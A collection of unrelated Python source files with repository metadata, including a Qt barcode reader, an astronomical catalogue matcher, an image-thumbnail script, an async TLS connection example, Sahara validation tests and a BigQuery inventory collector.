href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" /> <script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script> <script src="https://cdn.tailwindcss.com"></script> <link rel="stylesheet" href="//code.jquery.com/ui/1.13.0/themes/base/jquery-ui.css"> </head> """ html += f"""<script>let chartData={json.dumps(data, ensure_ascii=False, separators=(',', ':'))};</script>""" html += """<script> function updateChart(idx) { let chartdiv = document.getElementById('chart'); console.log(idx); Plotly.react(chart, chartData[idx]['fig']['data'], chartData[idx]['fig']['layout'], {displayModeBar: false}); } $(document).ready(()=>{ $('#aptselect').select2(); $('#aptselect').on('select2:select', function (e) { let data = e.params.data; updateChart(parseInt(data.id)); }); let chartdiv = document.getElementById('chart'); Plotly.newPlot(chart, chartData[0]['fig']['data'], chartData[0]['fig']['layout'], {displayModeBar: false}); }); </script> """ options = "" for cur_addr in addrlst: options += f'<optgroup label="{cur_addr}">' for cur_data_idx in data_by_addr[cur_addr]: cur_data = data[cur_data_idx] options += f'<option value="{cur_data_idx}" {"selected" if cur_data_idx == 0 else ""}>{cur_data["aptname"]}</option>' options += '</optgroup>' html += f""" <body> <div class="h-screen m-0 p-0 flex flex-col"> <div class="grow-0"> <h3 class="text-center font-bold text-lg">{datestr} 아파트 보고서</h3> <div class="m-3"> <select class="w-full p-3" id="aptselect" name="aptselect"> {options} </select> </div> </div> <div class="grow p-1"><div id="chart"></div></div> </body> </html>""" with open(args.output, 'w') as f: f.write(html) print('[+] done')

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null

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null

0

1

0

75ac67c019d243b02047c3a4e50c8d709addc5ed

5,241

py

Python

examples/qt/barcode-reader.py

claire-chan/python

9a22ab20a8d0171f491730199edfd7ce7e4d806c

[ "MIT" ]

12

2020-01-08T13:43:19.000Z

2022-03-09T08:35:45.000Z

examples/qt/barcode-reader.py

claire-chan/python

9a22ab20a8d0171f491730199edfd7ce7e4d806c

[ "MIT" ]

2

2020-09-10T07:06:50.000Z

2022-01-04T17:29:54.000Z

examples/qt/barcode-reader.py

claire-chan/python

9a22ab20a8d0171f491730199edfd7ce7e4d806c

[ "MIT" ]

11

2020-03-16T18:22:13.000Z

2022-01-07T08:23:08.000Z

import sys from PySide2.QtGui import QPixmap, QImage from PySide2.QtWidgets import QApplication, QLabel, QPushButton, QVBoxLayout, QWidget, QFileDialog, QTextEdit, QSizePolicy, QMessageBox, QHBoxLayout from PySide2.QtCore import Slot, Qt, QStringListModel, QSize, QTimer from dbr import DynamsoftBarcodeReader dbr = DynamsoftBarcodeReader() import os import cv2 class UI_Window(QWidget): def __init__(self): QWidget.__init__(self) # The default barcode image. dir_path = os.path.dirname(os.path.realpath(__file__)) filename = os.path.join(dir_path, 'image.tif') # Create a timer. self.timer = QTimer() self.timer.timeout.connect(self.nextFrameSlot) # Create a layout. layout = QVBoxLayout() # Add a button self.btn = QPushButton("Load an image") self.btn.clicked.connect(self.pickFile) layout.addWidget(self.btn) # Add a button button_layout = QHBoxLayout() btnCamera = QPushButton("Open camera") btnCamera.clicked.connect(self.openCamera) button_layout.addWidget(btnCamera) btnCamera = QPushButton("Stop camera") btnCamera.clicked.connect(self.stopCamera) button_layout.addWidget(btnCamera) layout.addLayout(button_layout) # Add a label self.label = QLabel() self.label.setFixedSize(640, 640) pixmap = self.resizeImage(filename) self.label.setPixmap(pixmap) layout.addWidget(self.label) # Add a text area self.results = QTextEdit() self.readBarcode(filename) layout.addWidget(self.results) # Set the layout self.setLayout(layout) self.setWindowTitle("Dynamsoft Barcode Reader") self.setFixedSize(800, 800) # https://stackoverflow.com/questions/1414781/prompt-on-exit-in-pyqt-application def closeEvent(self, event): msg = "Close the app?" reply = QMessageBox.question(self, 'Message', msg, QMessageBox.Yes, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() self.stopCamera() else: event.ignore() def readBarcode(self, filename): dbr.initLicense("Your License") results = dbr.decodeFile(filename, 0x3FF | 0x2000000 | 0x4000000 | 0x8000000 | 0x10000000) out = '' index = 0 for result in results: out += "Index: " + str(index) + "\n" out += "Barcode format: " + result[0] + '\n' out += "Barcode value: " + result[1] + '\n' out += '-----------------------------------\n' index += 1 self.results.setText(out) def resizeImage(self, filename): pixmap = QPixmap(filename) lwidth = self.label.maximumWidth() pwidth = pixmap.width() lheight = self.label.maximumHeight() pheight = pixmap.height() wratio = pwidth * 1.0 / lwidth hratio = pheight * 1.0 / lheight if pwidth > lwidth or pheight > lheight: if wratio > hratio: lheight = pheight / wratio else: lwidth = pwidth / hratio scaled_pixmap = pixmap.scaled(lwidth, lheight) return scaled_pixmap else: return pixmap def pickFile(self): self.stopCamera() # Load an image file. filename = QFileDialog.getOpenFileName(self, 'Open file', 'E:\\Program Files (x86)\\Dynamsoft\\Barcode Reader 7.2\\Images', "Barcode images (*)") # Show barcode images pixmap = self.resizeImage(filename[0]) self.label.setPixmap(pixmap) # Read barcodes self.readBarcode(filename[0]) def openCamera(self): self.vc = cv2.VideoCapture(0) # vc.set(5, 30) #set FPS self.vc.set(3, 640) #set width self.vc.set(4, 480) #set height if not self.vc.isOpened(): msgBox = QMessageBox() msgBox.setText("Failed to open camera.") msgBox.exec_() return self.timer.start(1000./24) def stopCamera(self): self.timer.stop() # https://stackoverflow.com/questions/41103148/capture-webcam-video-using-pyqt def nextFrameSlot(self): rval, frame = self.vc.read() frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) image = QImage(frame, frame.shape[1], frame.shape[0], QImage.Format_RGB888) pixmap = QPixmap.fromImage(image) self.label.setPixmap(pixmap) results = dbr.decodeBuffer(frame, 0x3FF | 0x2000000 | 0x4000000 | 0x8000000 | 0x10000000) out = '' index = 0 for result in results: out += "Index: " + str(index) + "\n" out += "Barcode format: " + result[0] + '\n' out += "Barcode value: " + result[1] + '\n' out += '-----------------------------------\n' index += 1 self.results.setText(out) def main(): app = QApplication(sys.argv) ex = UI_Window() ex.show() sys.exit(app.exec_()) if __name__ == '__main__': main()

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31.196429

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0.169492

0

null

0

null

0

1

0

75af09b693b1a39a86476d750fe6c76d93b99535

6,820

py

Python

mdetsims/dbsim/erins_code/util.py

kaiwen-kakuiii/metadetect-sims

a0fd133ca5bc946c6ce769e8657ef2ce10226953

[ "BSD-3-Clause" ]

2

2021-07-12T09:41:51.000Z

2022-01-27T08:13:33.000Z

mdetsims/dbsim/erins_code/util.py

kaiwen-kakuiii/metadetect-sims

a0fd133ca5bc946c6ce769e8657ef2ce10226953

[ "BSD-3-Clause" ]

6

2019-04-04T23:53:27.000Z

2021-07-30T11:35:20.000Z

mdetsims/dbsim/erins_code/util.py

kaiwen-kakuiii/metadetect-sims

a0fd133ca5bc946c6ce769e8657ef2ce10226953

[ "BSD-3-Clause" ]

2

2020-10-30T18:14:29.000Z

2021-07-22T16:34:56.000Z

import sys import logging import numpy as np logger = logging.getLogger(__name__) class TryAgainError(Exception): """ signal to skip this image(s) and try a new one """ def __init__(self, message): # Call the base class constructor with the parameters it needs Exception.__init__(self, message) def setup_logging(level): if level=='info': l=logging.INFO elif level=='debug': l=logging.DEBUG elif level=='warning': l=logging.WARNING elif level=='error': l=logging.ERROR else: l=logging.CRITICAL logging.basicConfig(stream=sys.stdout, level=l) def log_pars(pars, fmt='%8.3g',front=None): """ print the parameters with a uniform width """ s = [] if front is not None: s.append(front) if pars is not None: fmt = ' '.join( [fmt+' ']*len(pars) ) s.append( fmt % tuple(pars) ) s = ' '.join(s) logger.debug(s) class Namer(object): """ create strings with a specified front prefix """ def __init__(self, front=None, back=None): if front=='': front=None if back=='' or back=='noshear': back=None self.front=front self.back=back if self.front is None and self.back is None: self.nomod=True else: self.nomod=False def __call__(self, name): n = name if not self.nomod: if self.front is not None: n = '%s_%s' % (self.front, n) if self.back is not None: n = '%s_%s' % (n, self.back) return n def convert_run_to_seed(run): """ convert the input config file name to an integer for use as a seed """ import hashlib h = hashlib.sha256(run.encode('utf-8')).hexdigest() seed = int(h, base=16) % 2**30 logger.info("got seed %d from run %s" % (seed,run)) return seed def get_trials_nsplit(c): """ split into chunks """ from math import ceil ntrials = c['ntrials'] tmsec = c['desired_hours']*3600.0 sec_per = c['sec_per'] ntrials_per = int(round( tmsec/sec_per ) ) nsplit = int(ceil( ntrials/float(ntrials_per) )) time_hours = ntrials_per*sec_per/3600.0 logger.info("ntrials requested: %s" % (ntrials)) logger.info('seconds per image: %s sec per with rand: %s' % (c['sec_per'],sec_per)) logger.info('nsplit: %d ntrials per: %d time (hours): %s' % (nsplit,ntrials_per,time_hours)) return ntrials_per, nsplit, time_hours def get_trials_per_job_mpi(njobs, ntrials): """ split for mpi """ return int(round(float(ntrials)/njobs)) # # matching by row,col # def match_truth(data, truth, radius_arcsec=0.2, pixel_scale=0.263): """ get indices in the data that match truth catalog by x,y position """ radius_pixels = radius_arcsec/pixel_scale print("matching") allow=1 mdata, mtruth = close_match( data['x'], data['y'], truth['x'], truth['y'], radius_pixels, allow, ) nmatch=mdata.size ntot=data.size frac=float(nmatch)/ntot print(' matched %d/%d %.3f within ' '%.3f arcsec' % (nmatch, ntot, frac,radius_arcsec)) return mdata def close_match(t1,s1,t2,s2,ep,allow,verbose=False): """ Find the nearest neighbors between two arrays of x/y parameters ---------- x1, y1: scalar or array coordinates of a set of points. Must be same length. x2, y2: scalar or array coordinates of a second set of points. Must be same length. ep: scalar maximum match distance between pairs (pixels) allow: scalar maximum number of matches in second array to each element in first array. verbose: boolean make loud Original by Dave Johnston, University of Michigan, 1997 Translated from IDL by Eli Rykoff, SLAC modified slightly by erin sheldon """ t1=np.atleast_1d(t1) s1=np.atleast_1d(s1) t2=np.atleast_1d(t2) s2=np.atleast_1d(s2) n1=t1.size n2=t2.size matcharr=np.zeros([n1,allow],dtype='i8') matcharr.fill(-1) ind=np.arange(n2,dtype='i8') sor=t2.argsort() t2s=t2[sor] s2s=s2[sor] ind=ind[sor] runi=0 endt=t2s[n2-1] for i in range(n1): t=t1[i] tm=t-ep tp=t+ep in1=_binary_search(t2s,tm) # I can improve this? if in1 == -1: if (tm < endt) : in1=0 if in1 != -1: in1=in1+1 in2=in1-1 jj=in2+1 while (jj < n2): if (t2s[in2+1] < tp): in2+=1 jj+=1 else : jj=n2 if (n2 == 1) : in2=0 # hmmm if (in1 <= in2): if (n2 != 1) : check = s2s[in1:in2+1] tcheck = t2s[in1:in2+1] else : check = s2s[0] tcheck=t2s[0] s=s1[i] t=t1[i] offby=abs(check-s) toffby=abs(tcheck-t) good=np.where(np.logical_and(offby < ep,toffby < ep))[0]+in1 ngood=good.size if (ngood != 0) : if (ngood > allow) : offby=offby[good-in1] toffby=toffby[good-in1] dist=np.sqrt(offby**2+toffby**2) good=good[dist.argsort()] ngood=allow good=good[0:ngood] matcharr[i,0:ngood]=good runi=runi+ngood if verbose: print("total put in bytarr:",runi) #matches=np.where(matcharr != -1)[0] matches=np.where(matcharr != -1) #if (matches.size == 0): if (matches[0].size == 0): if verbose: print("no matches found") m1=np.array([]) m2=np.array([]) return m1,m2 m1 = matches[0] % n1 m2 = matcharr[matches] m2 = ind[m2].flatten() if verbose: print(m1.size,' matches') return m1,m2 def _binary_search(arr,x,edgedefault=False,round=False): n=arr.size if (x < arr[0]) or (x > arr[n-1]): if (edgedefault): if (x < arr[0]): index = 0 elif (x > arr[n-1]): index = n-1 else: index = -1 return index down=-1 up=n while (up-down) > 1: mid=down+(up-down)//2 if x >= arr[mid]: down=mid else: up=mid index=down if (round) and (index != n-1): if (abs(x-arr[index]) >= abs(x-arr[index+1])): index=index+1 return index

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null

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null

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1

0

75b16b8f307524cf047b1b8450582a6ea17185b4

1,470

py

Python

utilities/thumbnail-creation/thumbnail from category.py

DASdaNen4f/microsoftw

0ff9e052738e0effb9a484210ac27990f0f14f6f

[ "CC-BY-4.0", "MIT" ]

97

2019-05-07T15:43:30.000Z

2022-03-30T01:43:47.000Z

utilities/thumbnail-creation/thumbnail from category.py

DASdaNen4f/microsoftw

0ff9e052738e0effb9a484210ac27990f0f14f6f

[ "CC-BY-4.0", "MIT" ]

7

2020-05-05T17:12:08.000Z

2022-03-11T23:41:25.000Z

utilities/thumbnail-creation/thumbnail from category.py

DASdaNen4f/microsoftw

0ff9e052738e0effb9a484210ac27990f0f14f6f

[ "CC-BY-4.0", "MIT" ]

29

2019-05-30T22:23:25.000Z

2022-02-24T15:13:51.000Z

import pandas as pd from PIL import Image import requests from io import BytesIO import os import math df = pd.read_csv('C:\\Users\\v-ngdian\\Documents\\utilities\\thumbnail creator\\MetArtworksAugmented.csv') size = 512, 512 ids = [] def make_thumbnail(objectID, url, foldername): try: response = requests.get(url) image = Image.open(BytesIO(response.content)) ids.append(objectID) image.thumbnail(size, Image.ANTIALIAS) filepath = os.path.dirname(os.path.abspath(__file__)) filepath = os.path.join(filepath, foldername, str(objectID) + '.jpg') image.save(filepath, "JPEG") except Exception as e: print("Invalid URL: {}".format(url)) return def run(category, foldername): df_filtered = df[df['Object Name'] == category] print("There are {} objects in ".format(df_filtered.shape[0]) + category) counter = -1 for index, row in df_filtered.iterrows(): counter += 1 objectID = row['Object ID'] url = row['PrimaryImageUrl'] if counter%50==0: print("Working on object: " + str(counter) + " with id: " + str(objectID)) if isinstance(url, float) and math.isnan(url): next elif not isinstance(objectID, int): print("Object id: {} not an integer".format(objectID)) next else: make_thumbnail(objectID, url, foldername) run("vase", "vases") print(ids)

29.4

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0.622449

180

1,470

5.027778

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0.053039

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0

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1,470

50

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29.4

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0.05

false

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0.125

0

null

0

null

0

1

0

75b207a985e8fc2e2ac54f7ef3b3b97efd0e8a7f

1,050

py

Python

examples/tcp.py

promisedio/uv

b2da55e28da4a3185d810055468389822ec94f2b

[ "MIT" ]

null

examples/tcp.py

promisedio/uv

b2da55e28da4a3185d810055468389822ec94f2b

[ "MIT" ]

null

examples/tcp.py

promisedio/uv

b2da55e28da4a3185d810055468389822ec94f2b

[ "MIT" ]

null

import ssl import certifi from promisedio import loop, ns, promise, timer async def example1(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.verify_mode = ssl.CERT_REQUIRED context.check_hostname = True context.load_default_certs() context.load_verify_locations( cafile=certifi.where(), capath=None, cadata=None ) for x in range(100): try: stream = await ns.open_connection(("209.131.162.45", 443), ssl=context, server_hostname="www.verisign.com", timeout=0.2) except timer.TimeoutError: pass print(stream.getsockname()) print(stream.getpeername()) await stream.write(b"GET / HTTP 1.1\n\n") print(await stream.read()) await stream.shutdown() async def example2(): stream = await ns.open_connection(("192.168.1.99", 8080), timeout=2) print(stream.getsockname()) print(stream.getpeername()) await stream.shutdown() promise.exec_async(example1()) loop.run_forever()

26.25

119

0.648571

130

1,050

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1,050

39

120

26.923077

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0.16129

0

null

0

null

0

1

0

75b2d9cf0513bac35f38ddd5680c08dee820e7ca

3,232

py

Python

sahara/tests/unit/service/validation/edp/test_job.py

hortonworksqe/sahara

b8edeaf2b6a475728bf9fd2ddc3a860dc6c23270

[ "Apache-2.0" ]

1

2016-04-13T17:07:05.000Z

sahara/tests/unit/service/validation/edp/test_job.py

hortonworksqe/sahara

b8edeaf2b6a475728bf9fd2ddc3a860dc6c23270

[ "Apache-2.0" ]

null

sahara/tests/unit/service/validation/edp/test_job.py

hortonworksqe/sahara

b8edeaf2b6a475728bf9fd2ddc3a860dc6c23270

[ "Apache-2.0" ]

null

# Copyright (c) 2013 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from sahara.service.validations.edp import job as j from sahara.tests.unit.service.validation import utils as u from sahara.utils import edp class TestJobValidation(u.ValidationTestCase): def setUp(self): super(TestJobValidation, self).setUp() self._create_object_fun = j.check_mains_libs self.scheme = j.JOB_SCHEMA def test_empty_libs(self): for job_type in [edp.JOB_TYPE_MAPREDUCE, edp.JOB_TYPE_JAVA]: self._assert_create_object_validation( data={ "name": "jar.jar", "type": job_type }, bad_req_i=(1, "INVALID_DATA", "%s flow requires libs" % job_type)) self._assert_create_object_validation( data={ "name": "jar.jar", "type": edp.JOB_TYPE_MAPREDUCE_STREAMING, }) def test_mains_unused(self): for job_type in [edp.JOB_TYPE_MAPREDUCE, edp.JOB_TYPE_JAVA]: self._assert_create_object_validation( data={ "name": "jar.jar", "type": job_type, "mains": ["lib1"], "libs": ["lib2"] }, bad_req_i=(1, "INVALID_DATA", "%s flow does not use mains" % job_type)) def test_empty_pig_mains(self): data = { "name": "pig.pig", "type": edp.JOB_TYPE_PIG, "libs": ['lib-uuid'] } self._assert_create_object_validation( data=data, bad_req_i=(1, "INVALID_DATA", "Pig flow requires main script")) data.update({"type": edp.JOB_TYPE_HIVE}) self._assert_create_object_validation( data=data, bad_req_i=(1, "INVALID_DATA", "Hive flow requires main script")) def test_overlap_libs(self): for job_type in [edp.JOB_TYPE_HIVE, edp.JOB_TYPE_PIG]: self._assert_create_object_validation( data={ "name": "jar.jar", "type": job_type, "libs": ["lib1", "lib2"], "mains": ["lib1"] }, bad_req_i=(1, "INVALID_DATA", "'mains' and 'libs' overlap")) def test_jar_rejected(self): self._assert_create_object_validation( data={ "name": "jar.jar", "type": "Jar", }, bad_req_i=(1, "VALIDATION_ERROR", "'Jar' is not one of " + str(edp.JOB_TYPES_ALL)))

35.130435

76

0.552599

379

3,232

4.469657

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0.347107

0.335891

0.307556

0.287485

0

0.008958

0.34375

3,232

91

77

35.516484

0.789722

0.171101

0

0.40625

0

0.140766

0

0.109375

1

0.09375

false

0

0.046875

0

0.15625

0

null

0

null

0

1

0

75b2efb0dac87ecec2330f57bb9b5abeb2ef6c62

1,705

py

Python

modules/AzureBridge/main.py

open-edge-insights/eii-azure-bridge

346da9d56be78c6e06a470dfbaf808d568427679

[ "MIT" ]

null

modules/AzureBridge/main.py

open-edge-insights/eii-azure-bridge

346da9d56be78c6e06a470dfbaf808d568427679

[ "MIT" ]

null

modules/AzureBridge/main.py

open-edge-insights/eii-azure-bridge

346da9d56be78c6e06a470dfbaf808d568427679

[ "MIT" ]

2

2022-02-07T09:05:54.000Z

2022-03-17T04:32:50.000Z

# Copyright (c) 2020 Intel Corporation. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM,OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. """EII Message Bus Azure Edge Runtime Bridge """ import asyncio import traceback as tb from eab.bridge_state import BridgeState def main(): """Main method. """ bs = None try: bs = BridgeState.get_instance() loop = asyncio.get_event_loop() loop.run_forever() except Exception as e: print(f'[ERROR] {e}\n{tb.format_exc()}') raise finally: if bs is not None: # Fully stop the bridge bs.stop() # Clean up asyncio loop.stop() loop.close() if __name__ == "__main__": main()

34.1

78

0.70088

242

1,705

4.880165

0.570248

0.074513

0.022015

0

0.003042

0.228739

1,705

49

79

34.795918

0.895057

0.678592

0

0.073643

0.042636

0

1

0.052632

false

0

0.157895

0

0.210526

0.052632

0

null

0

null

0

1

0

75b2fe433461c1164efd99a7fb0d0c61b5a14512

8,033

py

Python

src/spaceone/inventory/manager/bigquery/sql_workspace_manager.py

spaceone-dev/plugin-google-cloud-inven-collector

3e103412e7598ee9fa5f68b6241a831a40e8b9bc

[ "Apache-2.0" ]

null

src/spaceone/inventory/manager/bigquery/sql_workspace_manager.py

spaceone-dev/plugin-google-cloud-inven-collector

3e103412e7598ee9fa5f68b6241a831a40e8b9bc

[ "Apache-2.0" ]

null

src/spaceone/inventory/manager/bigquery/sql_workspace_manager.py

spaceone-dev/plugin-google-cloud-inven-collector

3e103412e7598ee9fa5f68b6241a831a40e8b9bc

[ "Apache-2.0" ]

null

import logging import time from spaceone.inventory.libs.manager import GoogleCloudManager from spaceone.inventory.libs.schema.base import ReferenceModel from spaceone.inventory.connector.bigquery.sql_workspace import SQLWorkspaceConnector from spaceone.inventory.model.bigquery.sql_workspace.cloud_service import BigQueryWorkSpace, SQLWorkSpaceResource, \ SQLWorkSpaceResponse, ProjectModel from spaceone.inventory.model.bigquery.sql_workspace.cloud_service_type import CLOUD_SERVICE_TYPES from datetime import datetime _LOGGER = logging.getLogger(__name__) class SQLWorkspaceManager(GoogleCloudManager): connector_name = 'SQLWorkspaceConnector' cloud_service_types = CLOUD_SERVICE_TYPES def collect_cloud_service(self, params): _LOGGER.debug(f'** Big Query SQL Workspace START **') start_time = time.time() """ Args: params: - options - schema - secret_data - filter - zones Response: CloudServiceResponse/ErrorResourceResponse """ collected_cloud_services = [] error_responses = [] data_set_id = "" secret_data = params['secret_data'] project_id = secret_data['project_id'] ################################## # 0. Gather All Related Resources # List all information through connector ################################## big_query_conn: SQLWorkspaceConnector = self.locator.get_connector(self.connector_name, **params) data_sets = big_query_conn.list_dataset() projects = big_query_conn.list_projects() update_bq_dt_tables = [] table_schemas = [] for data_set in data_sets: try: ################################## # 1. Set Basic Information ################################## data_refer = data_set.get('datasetReference', {}) data_set_id = data_refer.get('datasetId') dataset_project_id = data_refer.get('projectId') bq_dataset = big_query_conn.get_dataset(data_set_id) creation_time = bq_dataset.get('creationTime', '') last_modified_time = bq_dataset.get('lastModifiedTime') region = self._get_region(bq_dataset.get('location', '')) exp_partition_ms = bq_dataset.get('defaultPartitionExpirationMs') exp_table_ms = bq_dataset.get('defaultTableExpirationMs') # skip if dataset id is invisible if self._get_visible_on_console(data_set_id): bq_dt_tables = big_query_conn.list_tables(data_set_id) update_bq_dt_tables, table_schemas = self._get_table_list_with_schema(big_query_conn, bq_dt_tables) labels = self.convert_labels_format(bq_dataset.get('labels', {})) ################################## # 2. Make Base Data ################################## bq_dataset.update({ 'name': data_set_id, 'project': project_id, 'tables': update_bq_dt_tables, 'table_schemas': table_schemas, 'region': region, 'visible_on_console': self._get_visible_on_console(data_set_id), 'matching_projects': self._get_matching_project(dataset_project_id, projects), 'creationTime': self._convert_unix_timestamp(creation_time), 'lastModifiedTime': self._convert_unix_timestamp(last_modified_time), 'default_partition_expiration_ms_display': self._convert_milliseconds_to_minutes(exp_partition_ms), 'default_table_expiration_ms_display': self._convert_milliseconds_to_minutes(exp_table_ms), 'labels': labels }) big_query_data = BigQueryWorkSpace(bq_dataset, strict=False) ################################## # 3. Make Return Resource ################################## big_query_work_space_resource = SQLWorkSpaceResource({ 'name': data_set_id, 'account': project_id, 'region_code': region, 'tags': labels, 'data': big_query_data, 'reference': ReferenceModel(big_query_data.reference()) }) ################################## # 4. Make Collected Region Code ################################## self.set_region_code(region) ################################## # 5. Make Resource Response Object # List of SQLWorkSpaceResponse Object ################################## collected_cloud_services.append(SQLWorkSpaceResponse({'resource': big_query_work_space_resource})) except Exception as e: _LOGGER.error(f'[collect_cloud_service] => {e}', exc_info=True) error_response = self.generate_resource_error_response(e, 'BigQuery', 'SQLWorkspace', data_set_id) error_responses.append(error_response) _LOGGER.debug(f'** Big Query Finished {time.time() - start_time} Seconds **') return collected_cloud_services, error_responses def _get_region(self, location): matched_info = self.match_region_info(location) return matched_info.get('region_code') if matched_info else 'global' def _get_table_list_with_schema(self, big_conn: SQLWorkspaceConnector, bq_dt_tables): update_bq_dt_tables = [] table_schemas = [] for bq_dt_table in bq_dt_tables: table_ref = bq_dt_table.get('tableReference') table_single = big_conn.get_tables(table_ref.get('datasetId'), table_ref.get('tableId')) if table_single is not None: creation_time = table_single.get('creationTime') expiration_time = table_single.get('expirationTime') last_modified_time = table_single.get('lastModifiedTime') table_single.update({ 'creationTime': self._convert_unix_timestamp(creation_time), 'expirationTime': self._convert_unix_timestamp(expiration_time), 'lastModifiedTime': self._convert_unix_timestamp(last_modified_time) }) _table_schemas = table_single.get('schema', {}) if _table_schemas != {}: fields = _table_schemas.get('fields', []) table_single.update({'schema': fields}) update_bq_dt_tables.append(table_single) for single_schema in fields: single_schema.update({'table_id': table_ref.get('tableId')}) table_schemas.append(single_schema) return update_bq_dt_tables, table_schemas @staticmethod def _get_matching_project(project_id, projects): _projects = [] for project in projects: if project_id == project.get('id'): _projects.append(ProjectModel(project, strict=False)) return _projects @staticmethod def _get_visible_on_console(dataset_id): return False if dataset_id.startswith('_') else True @staticmethod def _convert_milliseconds_to_minutes(milliseconds): if milliseconds: minutes = (int(milliseconds)/1000)/60 return minutes else: return None @staticmethod def _convert_unix_timestamp(unix_timestamp): try: return datetime.fromtimestamp(int(unix_timestamp) / 1000) except Exception as e: _LOGGER.error(f'[_convert_unix_timestamp] {e}') return

42.957219

119

0.578115

764

8,033

5.681937

0.215969

0.023958

0.023036

0.022115

0.21654

0.180604

0.152499

0.093988

0.079244

0

0.002833

0.2969

8,033

186

120

43.188172

0.765758

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0

0.154472

0

0.10375

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0

1

0.056911

false

0

0.065041

0.00813

0.219512

0

null

0

null

0

1

0

75b763c3212f1f5ddcadc048b167842b24fdff2e

1,732

py

Python

worker_zeromq/resource.py

espang/projects

3a4d93592bc3427a6abd8d2170081155862754a8

[ "MIT" ]

null

worker_zeromq/resource.py

espang/projects

3a4d93592bc3427a6abd8d2170081155862754a8

[ "MIT" ]

null

worker_zeromq/resource.py

espang/projects

3a4d93592bc3427a6abd8d2170081155862754a8

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Fri Feb 26 09:11:06 2016 @author: eikes """ import ConfigParser from components import Component from result import VariableResult _config = ConfigParser.ConfigParser() _config.read('scenario.cfg') _section = 'MySection' _results = 'results' def _create_comp(index): global _config, _section connections = map(str.strip, _config.get( _section, 'comp.{0}.connections'.format(index), ).split(',')) return Component( _config.get(_section, 'comp.{0}.name'.format(index)), _config.get(_section, 'comp.{0}.type'.format(index)), _config.get(_section, 'comp.{0}.reference_values'.format(index)), connections, _config.get(_section, 'comp.{0}.replace_values'.format(index)), _config.getfloat(_section, 'comp.{0}.factor'.format(index)), ) def _create_results(): global _config, _results quantity = _config.getint(_results, 'quantity') results = [] for i in range(1, quantity+1): label = _config.get(_results, 'result.{0}.name'.format(i)) comp = _config.get(_results, 'result.{0}.comp'.format(i)) calc_type = _config.getint(_results, 'result.{0}.type'.format(i)) results.append( VariableResult(pk=i, label=label, comp_name=comp, calc_type=calc_type) ) return results LP_FILE_PATH = _config.get(_section, 'lp') TRC_FILE_PATH = _config.get(_section, 'trc') QUANTITY = _config.getint(_section, 'quantity') COMPONENTS = [ _create_comp(i) for i in range(1, QUANTITY+1) ] RESULTS = _create_results() SIMULATIONS = _config.getint(_section, 'simulations') WORKER = _config.getint(_section, 'worker') S_VALUE = float(1.5855e+07)

27.0625

90

0.663972

212

1,732

5.15566

0.334906

0.074108

0.10247

0.091491

0.240622

0.096981

0

0.023371

0.184758

1,732

63

91

27.492063

0.750708

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0

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0.029162

0

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0.04878

false

0

0.073171

0

0.170732

0

null

0

null

0

1

0

75b8a1f71cb2c99f52c326ad6e518a675e652f84

466

py

Python

sub-array-algorithm-frustated-coders.py

annukamat/My-Competitive-Journey

adb13a5723483cde13e5f3859b3a7ad840b86c97

[ "MIT" ]

7

2018-11-08T11:39:27.000Z

2020-09-10T17:50:57.000Z

sub-array-algorithm-frustated-coders.py

annukamat/My-Competitive-Journey

adb13a5723483cde13e5f3859b3a7ad840b86c97

[ "MIT" ]

null

sub-array-algorithm-frustated-coders.py

annukamat/My-Competitive-Journey

adb13a5723483cde13e5f3859b3a7ad840b86c97

[ "MIT" ]

2

2019-09-16T14:34:03.000Z

2019-10-12T19:24:00.000Z

ncoders = int(input("enter no. of coders : ")) l=map(int,input().split(" ")) sl=[] l = sorted(list(l)) top = 1 for rotator in range(1,ncoders): sl = l[:rotator] if(top != ncoders): if(max(sl) < l[top]): l[l.index(max(sl))] = 0 top = top +1 elif(max(sl) == l[top]): l[l.index(max(sl[:len(sl)-1]))] = 0 top = top+1 else: break print(l) print(sum(l))

18.64

47

0.44206

69

466

2.985507

0.42029

0.058252

0.087379

0.203884

0

0.02349

0.360515

466

24

48

19.416667

0.667785

0

0.111111

0

0.049569

0

1

0

false

0

0.111111

0

null

0

null

0

1

0

75ba91add5ced077993a147299ed8098ccb69a59

8,081

py

Python

source/soca/cluster_web_ui/api/v1/dcv/image.py

cfsnate/scale-out-computing-on-aws

1cc316e988dca3200811ff5527a088a1706901e5

[ "Apache-2.0" ]

77

2019-11-14T22:54:48.000Z

2022-02-09T06:06:39.000Z

source/soca/cluster_web_ui/api/v1/dcv/image.py

cfsnate/scale-out-computing-on-aws

1cc316e988dca3200811ff5527a088a1706901e5

[ "Apache-2.0" ]

47

2020-01-15T18:51:32.000Z

2022-03-08T19:46:39.000Z

source/soca/cluster_web_ui/api/v1/dcv/image.py

cfsnate/scale-out-computing-on-aws

1cc316e988dca3200811ff5527a088a1706901e5

[ "Apache-2.0" ]

50

2019-11-14T22:51:28.000Z

2022-03-14T22:49:53.000Z

